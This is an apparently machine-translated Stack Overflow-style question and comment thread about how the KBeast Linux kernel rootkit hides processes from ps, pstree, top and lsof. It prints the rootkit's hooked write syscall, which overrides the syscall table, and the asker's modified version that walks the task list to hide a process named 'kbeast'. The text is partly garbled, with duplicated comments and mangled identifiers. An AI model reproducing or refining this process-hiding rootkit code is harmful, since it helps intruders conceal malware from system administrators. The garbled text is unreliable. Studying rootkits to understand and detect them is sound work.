Linux kernel rootkit如何隐藏进程?
我试图学习rootkit是如何工作的(出于教育目的)。我有rootkit的源代码。要从ps | | pstree等命令隐藏进程,它具有以下功能:Linux kernel rootkit如何隐藏进程?,linux-kernel,operating-system,rootkit,Linux Kernel,Operating System,Rootkit,我试图学习rootkit是如何工作的(出于教育目的)。我有rootkit的源代码。要从ps | | pstree等命令隐藏进程,它具有以下功能: asmlinkage int h4x_write(unsigned int fd, const char __user *buf,size_t count){ int r; char *kbuf=(char*)kmalloc(256,GFP_KERNEL); copy_from_user(kbuf,buf,255); if (
asmlinkage int h4x_write(unsigned int fd, const char __user *buf,size_t count){
int r;
char *kbuf=(char*)kmalloc(256,GFP_KERNEL);
copy_from_user(kbuf,buf,255);
if ((strstr(current->comm,"ps"))||(strstr(current->comm,"pstree"))||
(strstr(current->comm,"top"))||(strstr(current->comm,"lsof"))){
if(strstr(kbuf,_H4X0R_)||strstr(kbuf,KBEAST)){
kfree(kbuf);
return -ENOENT;
}
}
r=(*o_write)(fd,buf,count);
kfree(kbuf);
return r;
}
此函数覆盖系统调用表[\uuuuu NR\u write]。我的理解是*buf,包含它试图隐藏的进程的名称。使用copy_from_user(),将buf复制到内核缓冲区kbuf中,然后在使用strstrstr()检测到ps | | | pstree |…
命令时,它会查找要隐藏的进程(H4X0R)。如果找到匹配项,则释放内核缓冲区kbuf。我的理解正确吗
我检查buf的内容。它不包含任何内容,因此永远不起作用
为了让它工作,我做了一些变通(不确定这是否是正确的方法,正如我说的,我是初学者)。我做了以下操作,将进程名(我试图隐藏的进程)放入buf,然后使用copy\u from\u user()将其复制到内核空间。我有一个工作代码,看起来像原始的Kbeast代码
const char *p_name="kbeast";
asmlinkage long test_write(unsigned int fd, char const __user *buf, size_t count){
long r=1;
r = (*original_write)(fd, buf, count);
char *kbuf=(char const *)kmalloc(256,GFP_KERNEL);
//__copy_from_user(kbuf,buf,255);
if (strstr(current->comm,"ps")){
struct task_struct *task;
for_each_process(task){
if (strstr(task->comm,p_name)){
//printk("%s [%d]\n",task->comm , task->pid);
buf=task->comm;
__copy_from_user(kbuf,buf,255);
break;
}
}
//printk(KERN_INFO "kBuf %s", kbuf);
if(strstr(kbuf,p_name)){
kfree(kbuf);
return -ENOENT;
}
}
return r;
}
在运行ps命令时,它显示以下内容:
PID TTY TIME CMD
10115 pts/2 00:00:00 bash
14560 pts/2 00:00:00 kbeast
14561 pts/2 00:00:00 ps
ps: write error
这里发生了什么
我在考虑另一种方法,比如在task\u-struct链接列表中包含所有进程名称,如果我能以某种方式从task\u-struct中取消目标进程的链接,应该可以做到这一点,但我不知道如何做到这一点。您运行的是哪个内核版本?这是一个相当古老的漏洞(2011年),可能已经很久没有发挥作用了。我想我看到了2.16;我的机器上的uname-r显示:4.15.0-74-generic@mevets我的内核版本是5.3.0-45-generic。是的,它有点旧了,但我想对它稍加修改可能适用于当前版本。“我检查
buf
的内容。它不包含任何内容,因此永远不会工作。”-如何检查buf
内容?注意,函数h4x\u write
截取每个系统调用,通常buf
只是一个字节数组(不是符号,不是字符)。因此,即使buf
包含10个零字节的序列(count
参数的值),这也不是“无”。您什么时候检查buf
内容?注意,h4x_write
仅在以-enoint
@impleze结尾的分支中修改write
的有效行为,我的意思是另一种方式;我觉得你的内核太新了;kbeast可能需要一个旧的。我找不到权威性的声明你还是不明白。。。执行test\u write
函数,而不是每次write
syscall。是的,原始h4x_write
期望ps
进程调用write
方法,并使用请求进程的名称。但是通过在test\u write
开始时检查buf
,您很可能会从由其他进程(非ps
或相关进程)执行的write
系统调用中检查buf
。或者由ps
进程执行,但出于其他目的,当buf
的含义不同时。您正在运行哪个内核版本?这是一个相当古老的漏洞(2011年),可能已经很久没有发挥作用了。我想我看到了2.16;我的机器上的uname-r显示:4.15.0-74-generic@mevets我的内核版本是5.3.0-45-generic。是的,它有点旧了,但我想对它稍加修改可能适用于当前版本。“我检查buf
的内容。它不包含任何内容,因此永远不会工作。”-如何检查buf
内容?注意,函数h4x\u write
截取每个系统调用,通常buf
只是一个字节数组(不是符号,不是字符)。因此,即使buf
包含10个零字节的序列(count
参数的值),这也不是“无”。您什么时候检查buf
内容?注意,h4x_write
仅在以-enoint
@impleze结尾的分支中修改write
的有效行为,我的意思是另一种方式;我觉得你的内核太新了;kbeast可能需要一个旧的。我找不到权威性的声明你还是不明白。。。执行test\u write
函数,而不是每次write
syscall。是的,原始h4x_write
期望ps
进程调用write
方法,并使用请求进程的名称。但是通过在test\u write
开始时检查buf
,您很可能会从由其他进程(非ps
或相关进程)执行的write
系统调用中检查buf
。或由ps
过程执行,但出于其他目的,当buf
的含义不同时。